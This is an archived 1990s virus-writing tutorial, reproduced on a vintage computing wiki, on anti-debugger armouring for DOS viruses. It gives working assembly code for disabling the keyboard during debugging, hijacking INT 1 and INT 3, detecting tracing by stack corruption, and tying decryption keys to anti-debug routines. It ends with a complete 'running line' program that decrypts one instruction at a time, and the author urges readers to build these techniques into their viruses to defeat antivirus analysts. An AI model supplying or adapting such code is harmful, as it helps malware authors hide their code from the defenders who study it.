Please consider a donation to the Higher Intellect project. See or the Donate to Higher Intellect page for more info.

Anti-Debugger Techniques

From Higher Intellect Vintage Wiki
Jump to navigation Jump to search
                      Anti-Debugger Techniques


        Ok, now the AV can not even  get your virus to infect their bait
files,  and if they do finally manage,  they will have great problems in
getting a complete,  accurate view of what they are dealing with.  There
is two things they can do:

1. Disassemble your Anti-Bait code,  and create a Bait maker to fool it.
2. Disassemble your Polymorphic engine, and work out what to look for.

        Both of  the  above  can  be  defeated  by  using  Anti-Debugger
Techniques.  The first is defeated by  keeping your Anti - Bait routines
encrypted, and heavily armoured, to prevent disassembly. The second can
be defeated by using the same  methods on your polymorphic engine.  This
section has been designed to tell you how to do it.

              Anti-Debugger Techniques: The Obvious
        There are many simple and trivial ways to thwart debuggers. This
document will deal mainly with more advanced methods. The simple methods
outlined in this section can be seen in the code example of  "Using Your
Anti-Debug Routines as the Decryption Key", later on in this document.

        Perhaps the most obvious way to kill a debugger, is to overwrite
the Interrupt Vector  of  Interrupts 1 (Debug Single Step), and 3 (Debug
Break Point). This can be defeated by simply skipping the instructions.
Another thing you could do, is place an INT 3 in a long loop, which will
cause the debugger to stop at the INT 3 each iteration,  which will stop
the AV from simply proceeding through the loop.  This  is  very  easily
defeated by NOP'ing out the INT 3.

        Another thing to do, is turn of the keyboard. There are many ways
to do this, but the simplest is:        IN      AL,20h ;Turn of Keyboard IRQ
                                        OR      AL,02
                                        OUT     AL,20

                                        <virus code>

                                        IN      AL,20   ;Enable Keyboard IRQ
                                        AND     AL,NOT 2
                                        OUT     AL,20

           Anti-Debugger Techniques: Interrupt Replacement
        This technique involves replacing the vector of a  INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of  INT
replacement from the virus [H8urNMEs].  It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:

        mov     ax,3503
        int     21

        mov     int_3_seg,es
        mov     int_3_off,bx

        lds     dx, site_traced_off
        mov     ax,2503
        int     21

        mov     ds,cs

        mov     ax,3524
        int     3

        mov     int_24_seg,es
        mov     int_24_off,bx

        It simply makes INT 3 point to DOS,  and uses this fact to fetch
the INT 24 vector.

       Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack

       When tracing through code,  with INT 1,  the 6 bytes below SP are
overwritten with the pushed returning IP, CS, and Flags. There are 2 ways
to take advantage of this fact.  The first is to PUSH a value on to  the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:

                PUSH    AX
                POP     AX
                DEC     SP
                DEC     SP
                POP     BX              ;BX should point to the pushed AX.
                CMP     AX,BX
                JNE     CODE_IS_TRACED

        The second  way is to store  a critical value  like a Decryption
key in SP. This value should also point to the code, and you should  NOT
use any stack operations. This way,  if a debugger is running,  the code
that SP  points to will  be overwritten.  Here is a  complete program to
illustrate it. To make it run properly,  you must have to encrypt it.  I
will not how you how.. If you can not work it out you should not even be
reading this.  It also has the  added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:

        radix   16

elength equ     (end - estart)/2

        org     100

        mov     bp,sp
        mov     sp,estart

        mov     bx,sp
        mov     cx,elength

eloop:  xor     cs:[bx],sp      ;SP is decryption key.
        inc     bx
        inc     bx              ;If a Debugger is running,
        cli                     ;All the code after ESTART will be
        add     sp,6            ;overwritten.
        loop    eloop

        mov     sp,bp

        mov     ah,9
        mov     dx,offset msg - 12
        add     dx,12
        int     21
        mov     ah,4c
        int     21

msg     db      'Yeah!!$'



 Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key
        This is a lot easier to do then it sounds. Basically, all you have
to do is retrieve a byte from the Anti - Debugger routines each time,  and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:

;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.

                mov     dl,0aa  ;initial key.

decrypt:        mov     di,offset dec_start
                mov     cx,dec_length
                mov     si,offset decrypt       ;offset of code to use
                                                ;to modify decryption key.
dec_loop:       lodsb                           ;AL=byte from anti-debug

                add     dl,al                   ;MODIFY KEY. If code has been
                                                ;modified, the key will be

                xor     [di],dl                 ;decrypt
                inc     di

                call    anti_debug              ;kill debuggers.
                                                ;this call cant be NOP'd out,
                                                ;as it is part of the Decrypt

                cmp     si,offset end_ad        ;if SI has reached end of
                jne     no_fix                  ;anti-debug code, reset it.
                mov     si,offset decrypt

no_fix:         loop    dec_loop

                jmp     dec_start               ;JMP past Anti_Debug to
                                                ;the newly decrypted code..

Anti_Debug:     in      al,20   ;get IRQ status.
                or      al,2    ;Disable IRQ 1 (keyboard)
                out     20,al

                int     3       ;stop the debugger on each loop (you cant
                int     3       ;NOP these out!), note that when the debugger
                                ;stops here, the keyboard will be disabled,
                                ;so the can't do any thing!

                push    ax
                push    ds
                xor     ax,ax
                mov     ds,ax
                xchg    ax,[4]  ;Kill INT 1
                int     3       ;Fuck with their heads
                xchg    ax,[4]  ;restore INT 1
                pop     ds

                mov     ax,offset ad_jmp        ;destination of JMP
                push    ax
                pop     ax
                dec     ax
                dec     ax      ;if this code was traced, AX will no longer
                pop     ax      ;be equal to the JMP destination
                jmp     ax
                pop     ax

dec_start:      in      al,20
                and     al,NOT 2
                out     20,al   ;Re-Enable Key board..

                <REST OF VIRUS CODE>


                Anti-Debugger Techniques: The Running Line
        The last method, I am going to illustrate, is called the Running
Line. It is VERY resistant to debuggers. It involves hooking INT 1,  and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed.  This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.


        radix   16

        org     100

        xor     ax,ax                   ;ax=0
        mov     es,ax                   ;es=ax=0
        mov     di,es:W[4]
        mov     si,es:W[6]              ;save int 1 vector
        mov     es:W[4],offset tracer
        mov     es:W[6],cs              ;int1 = cs:tracer
        mov     bp,sp
        or      B[bp-1],1               ;set TRACE flag
        popf                            ;set it

        xor     dx,dx                   ;this serves no purpose, and
                                        ;is just here because the first
                                        ;instruction after setting the
                                        ;flag is not traced.

;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's  **
;** run). Thats why each word is XOR'd with $ (it's position).       **

        dw      01f0e   XOR     $       ;PUSH CS / POP DS
        dw      009b4   XOR     $       ;MOV AH,9h
        dw      0ba90   XOR     $       ;NOP / MOV DX,
        dw      offset msg              ;offset msg
        dw      021cd   XOR     $       ;INT 21h
        dw      0e589   XOR     $       ;MOV BP,SP
        dw      06680   XOR     $       ;AND B[BP+,
        dw      0feff                   ;FF],FE (turn off TRACE flag).

last_enc        equ             $
        dw      0bb9d   XOR     $       ;POPF / MOV BX,
        dw      last_enc                ;LAST_ENC

        xor     cs:W[bx],bx             ;re-encrypt last instruction..

        mov     es:W[4],di
        mov     es:W[6],si              ;restore int 1 vector

        mov     ah,4c
        int     21

;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
;       NOP
;       MOV     DX,OFFSET MSG
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV     DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.

;** The following procedure, is the work horse of this code. The CPU **
;** will call this INT 1 handler before each opcode as long as the   **
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
;** virii, this contains no defensive traps. This is because we are  **
;** tracing our own code, and not unknown (possibly hostile) code.   **
;** It retrieves the calling IP from the stack, and if it is odd,    **
;** exits. If even, it will re-encrypt the previous instruction, and **
;** decrypt the current one. It saves the calling IP, so that it can **
;** re-encrypt it when it is called for the next instruction.        **

        push    bp                      ;save BP
        mov     bp,sp                   ;BP=SP for reference point of stack.
        push    si                      ;save SI
        mov     bp,W[bp+2]              ;BP = calling IP (position of
                                        ;encrypted instruction).
        test    bp,1                    ;check if on an odd boundry..
        jnz     is_odd                  ;it is so leave.
        mov     si,cs:last              ;else get the position of the last
                                        ;decrypted instruction to reincrypt.
        mov     cs:last,bp              ;save current position for next time.
        xor     cs:W[si],si             ;re-encrypt last (XOR it with its IP)
        xor     cs:W[bp],bp             ;decrypt current (XOR it with its IP)
        pop     si                      ;restore SI
        pop     bp                      ;restore BP
        iret                            ;adeos!

last    dw      0                       ;last IP for re-encrpytion..
msg     db      'Yeah!!$'               ;EVERYBODY SAY YEAH!!!!



        I STRONGLY urge you to employ the above techniques in your virii
and/or poly engine. If your virus refuses to infect bait files,  is VERY
heavily armoured,  so the can not decrypt it,  and disassemble it,  and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorithm for such a virus would be _VERY_ difficult.

                                BYE -- BYE
        Thank you reading this article. I hope it's been as interesting
to read as it has been to write!! Hopefully,  we will  be seeing the  AV
having to work _ALOT_ harder for their money too ;). Alternatively, this
could be some help to the AV community, so they can see what lies ahead.

        If you have any questions, comments, criticisms, or new ideas, you
can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or
'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!').

                              - THE - END -